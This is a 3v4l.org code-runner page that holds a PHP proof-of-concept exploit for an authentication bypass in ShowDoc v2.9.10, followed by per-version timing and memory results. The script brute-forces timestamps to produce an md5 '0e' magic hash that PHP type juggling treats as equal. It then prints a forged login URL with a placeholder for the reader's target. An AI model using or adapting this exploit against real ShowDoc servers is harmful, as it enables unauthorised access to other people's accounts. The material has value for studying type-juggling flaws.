3v4l.org

run code in 300+ PHP versions simultaneously
<?php // Credit:Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) // Date:2021/10/13 /* ShowDoc v2.9.10 Auth Bypass PoC #2: 1) PHP Type Juggling (弱类型), see https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf 2) Using that: ('0e111' == '0e222') => (bool)true 3) This script use Brute-Forcing to find a possible collision */ $username = 's' ; // Forged username $time = 1694131871 ; //2023-09-08 08:11:11, always valid timestamp $login_secret_key = '35d0b093f240cf6abedbe85fb174d317'; //a possible bin2hex( random_bytes( 16 ) ); $total = 1000000; for ($i=0; $i<(1000*$total); $i++){// try to Find solution in 1 Billion numbers! $time += 1; $token = md5($username.$login_secret_key.$time); if (substr($token, 0, 2) === "0e"){ if(preg_match('/^[0]+e[0-9]+$/', $token)) //0e123, 00e123, ... { echo "time:$time, while final is: $token".PHP_EOL; } } if (($i % $total) == 0){ echo "[".($i/$total)."‰]".PHP_EOL; } } echo "http://[showdoc]/server/?s=/api/extLogin/bySecretKey&username={$username}&time={$time}&token={$token}&redirect=".PHP_EOL;// Please replace the [showdoc] to your target ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0002.00616.61
8.3.60.0101.99316.75
8.3.50.0101.99218.26
8.3.40.0071.99719.09
8.3.30.0071.99518.92
8.3.20.0031.99824.18
8.3.10.0031.99824.66
8.3.00.0031.99926.16
8.2.190.0101.99416.63
8.2.180.0101.99325.92
8.2.170.0201.98419.13
8.2.160.0071.99522.96
8.2.150.0071.99425.66
8.2.140.0031.99924.66
8.2.130.0031.99726.16
8.2.120.0071.99718.86
8.2.110.0032.00020.51
8.2.100.0131.98317.72
8.2.90.0002.00117.75
8.2.80.0071.99719.04
8.2.70.0161.98317.88
8.2.60.0032.00017.93
8.2.50.0031.98918.07
8.2.40.0002.00418.35
8.2.30.0072.00118.11
8.2.20.0032.00019.52
8.2.10.0002.00319.04
8.2.00.0002.00219.34
8.1.280.0131.98925.92
8.1.270.0031.99923.99
8.1.260.0171.98126.35
8.1.250.0031.99828.09
8.1.240.0101.99123.72
8.1.230.0031.99923.93
8.1.220.0071.99517.77
8.1.210.0002.00318.77
8.1.200.0031.99817.48
8.1.190.0002.00319.26
8.1.180.0002.00218.10
8.1.170.0032.00118.66
8.1.160.0002.00119.02
8.1.150.0002.00418.81
8.1.140.0071.99617.73
8.1.130.0031.99818.92
8.1.120.0071.99417.61
8.1.110.0031.99817.67
8.1.100.0031.99917.56
8.1.90.0002.00417.71
8.1.80.0002.00217.68
8.1.70.0032.00117.61
8.1.60.0031.99917.78
8.1.50.0031.99717.73
8.1.40.0002.00417.78
8.1.30.0002.00617.71
8.1.20.0071.99617.70
8.1.10.0231.97617.74
8.1.00.0002.00217.68
8.0.300.0031.99918.77
8.0.290.0002.00216.75
8.0.280.0031.99818.33
8.0.270.0031.99717.18
8.0.260.0002.00218.37
8.0.250.0031.99916.98
8.0.240.0002.00416.87
8.0.230.0002.00216.92
8.0.220.0032.00116.89
8.0.210.0002.00217.02
8.0.200.0031.99816.92
8.0.190.0002.00217.08
8.0.180.0031.99817.02
8.0.170.0002.00316.94
8.0.160.0032.00117.00
8.0.150.0071.99616.95
8.0.140.0031.99816.96
8.0.130.0071.99713.48
8.0.120.0031.99816.88
8.0.110.0031.99916.90
8.0.100.0131.98716.97
8.0.90.0051.99716.83
8.0.80.0031.99916.91
8.0.70.0032.00016.94
8.0.60.0031.99916.88
8.0.50.0002.00216.94
8.0.30.0051.99616.86
8.0.20.0081.99116.89
8.0.10.0032.00216.95
8.0.00.0022.00017.06
7.4.330.0031.99815.55
7.4.320.0031.99816.65
7.4.300.0031.99816.70
7.4.290.0101.99116.53
7.4.280.0002.00216.70
7.4.270.0071.99716.57
7.4.260.0031.99713.50
7.4.250.0002.00216.46
7.4.240.0032.00216.67
7.4.230.0131.98616.60
7.4.220.0101.99616.68
7.4.210.0051.99716.61
7.4.200.0081.99316.60
7.4.190.0051.99716.71
7.4.180.0031.99616.67
7.4.160.0051.99616.71
7.4.150.0052.00216.75
7.4.140.0051.99116.61
7.4.130.0032.00216.69
7.4.120.0051.99616.64
7.4.110.0081.99416.65
7.4.100.0121.99216.66
7.4.90.0051.99616.64
7.4.80.0022.00216.62
7.4.70.0081.99416.75
7.4.60.0031.99716.65
7.4.50.0051.99716.60
7.4.40.0031.99816.58
7.4.30.0051.99616.70
7.4.20.0021.99916.61
7.4.10.0031.99816.66
7.4.00.0071.99416.66
7.3.330.0071.99516.17
7.3.320.0002.00313.23
7.3.310.0031.99916.31
7.3.300.0051.99716.44
7.3.290.0052.00016.33
7.3.280.0051.99616.34
7.3.270.0071.99716.34
7.3.260.0022.00116.42
7.3.250.0031.99916.36
7.3.240.0031.99916.40
7.3.230.0101.99116.41
7.3.220.0032.00116.30
7.3.210.0032.00016.14
7.3.200.0081.99416.28
7.3.190.0051.99616.19
7.3.180.0032.00116.43
7.3.170.0051.99716.26
7.3.160.0071.99616.39
7.3.150.0071.99616.18
7.3.140.0032.00016.29
7.3.130.0031.99916.29
7.3.120.0051.99716.28
7.3.110.0022.00116.26
7.3.100.0021.99916.25
7.3.90.0051.99916.57
7.3.80.0121.98916.36
7.3.70.0031.99716.36
7.3.60.0071.99616.40
7.3.50.0031.99916.45
7.3.40.0051.99616.51
7.3.30.0031.99816.43
7.3.20.0081.99318.30
7.3.10.0071.99618.29
7.3.00.0051.99718.20

preferences:
29.51 ms | 401 KiB | 5 Q